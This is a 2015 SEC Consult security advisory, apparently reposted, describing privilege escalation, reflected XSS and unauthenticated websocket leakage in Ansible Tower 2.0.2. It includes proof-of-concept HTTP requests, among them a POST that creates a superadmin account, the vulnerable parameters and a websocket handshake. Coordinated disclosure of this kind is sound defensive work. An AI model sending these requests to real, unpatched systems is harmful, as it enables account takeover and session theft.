Ansible Tower 2.0.2 XSS / Privilege Escalation / Authentication Missing

2015-01-14 / 2015-02-12
Credit: Manuel Hofer
Risk: Medium
Local: No
Remote: Yes

SEC Consult Vulnerability Lab Security Advisory < 20150113-1 > ======================================================================= title: Privilege Escalation & XSS & Missing Authentication product: Ansible Tower vulnerable version: <=2.0.2 fixed version: >=2.0.5 impact: high homepage: http://www.ansible.com/tower found: 2014-10-15 by: Manuel Hofer SEC Consult Vulnerability Lab https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Ansible Tower is the easy-to-use UI and dashboard and REST API for Ansible. Centralize your Ansible infrastructure from a modern UI, featuring role-based access control, job scheduling, and graphical inventory management. Tower's REST API and CLI make it easy to embed Tower into existing tools and processes. Tower now includes real-time output of playbook runs, an all-new dashboard and expanded out-of-the-box cloud support." source: http://www.ansible.com/tower Business recommendation: ------------------------ Attackers are able to elevate privileges and gain full control over Ansible Tower and therefore access to sensitive data of other customers. It is assumed that further vulnerabilities exist as only a short crash test has been performed. Therefore it is recommended to perform a thorough security review by security professionals. Vulnerability overview/description: ----------------------------------- 1) Privilege Escalation Ansible Tower provides the feature to create multiple organizations inside one tower instance. Each organization can have an unlimited number of users and administrators which are only allowed to perform actions in the context of their own organization. Due to missing validation of the "is_superuser" parameter during user creation, organization admins can create superadmin accounts and therefore elevate their privileges to gain full control of Ansible Tower. 2) Reflected Cross-Site Scripting Several parts of the Ansible Tower API have been identified to be vulnerable against reflected XSS attacks which can be used by an attacker to steal user sessions. 3) Missing Websocket Authentication / Information Leakage The Ansible Tower UI uses Websockets to notify clients about recent events. This part of the application lacks authentication as well as authorization, leading to internal data about e.g. scheduled events, being leaked to unauthorized and/or unauthenticated users. Proof of concept: ----------------- 1) Privilege Escalation (Org-Admin to Superadmin) Using the following request, a user with administrative privileges limited to an organization, can create a superadmin account with access to all organizations: > POST /api/v1/organizations/3/users/ HTTP/1.1 > Host: $host > Authorization: Token c3f03841403a17ed79753e057167a62144dae7df > X-Auth-Token: Token c3f03841403a17ed79753e057167a62144dae7df > > {"first_name":"Org1admin_superuser","last_name":"Org1admin_superuser", > "email":"Org1admin_superuser@local.local","organization":3, > "username":"Org1admin_superuser","password":"Org1admin_superuser", > "password_confirm":"Org1admin_superuser","is_superuser":"true","ldap_user":""} 2) Reflected Cross-Site Scripting The following URL parameters have been identified to be vulnerable against reflected cross-site scripting: * URL: /api/v1/credentials/, Parameter: order_by * URL: /api/v1/inventories/, Parameter: order_by * URL: /api/v1/projects/, Parameter: order_by * URL: /api/v1/schedules/, Parameter: next_run * URL: /api/v1/users/3/permissions/, Parameter: order_by It is likely that similar issues exist in other parts of the application. 3) Missing Websocket Authentication / Information Leakage An attacker can setup a websocket connection without providing any credentials as follows. By issuing a GET request to "https://tower:8080/socket.io/1/" the server responds with the following string: > 43167469538:60:60:websocket,xhr-multipart,htmlfilonp-polling[...] The first integer value can further be used to establish a websocket connection: #~% openssl s_client -verify 0 -connect tower:8080 > GET /socket.io/1/websocket/43167469538 HTTP/1.1 > Host: tower:8080 > Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 > Accept-Language: en-US,en;q=0.5 > Accept-Encoding: gzip, deflate > Sec-WebSocket-Version: 13 > Origin: https://tower > Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ== > Connection: keep-alive, Upgrade > Pragma: no-cache > Cache-Control: no-cache > Upgrade: websocket > > The websocket key seen above, has been taken from the examples of the wikipedia page on WebSockets (http://de.wikipedia.org/wiki/WebSocket) as it is only used to verify that the server received and understood the message. The server responds as follows: < HTTP/1.1 101 Switching Protocols < Upgrade: websocket < Connection: Upgrade < Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo= Now that the websocket connection has been established, data that would otherwise be presented to logged in users to display status updates for "job related events" inside tower, can now be observed without any authentication. Following an example of data received through the websocket connection. > 5::/socket.io/jobs:{"args":{"status":"pending","project_id":56, > "unified_job_id":61,"event":"status_changed","endpoint":"/socket.io/jobs"}, > "name":"status_changed"} Even tough no critical information has been identified leaking through the websocket, this should still be protected with proper authentication and authorization because it might aid an attacker in conducting further attacks. Vulnerable / tested versions: ----------------------------- Ansible Tower version v2.0.2 has been tested which was the most recent version at the time of discovery. Vendor contact timeline: ------------------------ 2014-10-22: Contacting vendor through security@ansible.com and asking for cryptographic material in order to securely send advisory. 2014-10-22: Sending unencrypted advisory as requested by vendor. 2014-10-22: Vendor suggests to release a fix prior to 12.12.2014 2014-10-28: Vendor confirms reported vulnerabilities 2014-12-10: Vendor releases fixed Version 2.0.5 2015-01-13: SEC Consult releases security advisory Solution: --------- Upgrade to a fixed version of Ansible Tower >= 2.0.5 Workaround: ----------- For vulnerabilities 1 to 2, no workaround can be applied. 3 can be circumvented by blocking access to TCP port 8080 on your Ansible Tower installation. Advisory URL: ------------- https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Vienna - Bangkok - Frankfurt/Main - Montreal - Singapore - Vilnius - Zurich Headquarter: Mooslackengasse 17, 1190 Vienna, Austria Phone: +43 1 8903043 0 Fax: +43 1 8903043 15 Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult Interested to work with the experts of SEC Consult? Write to career@sec-consult.com EOF Manuel Hofer / 2015

References:

https://www.sec-consult.com
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm


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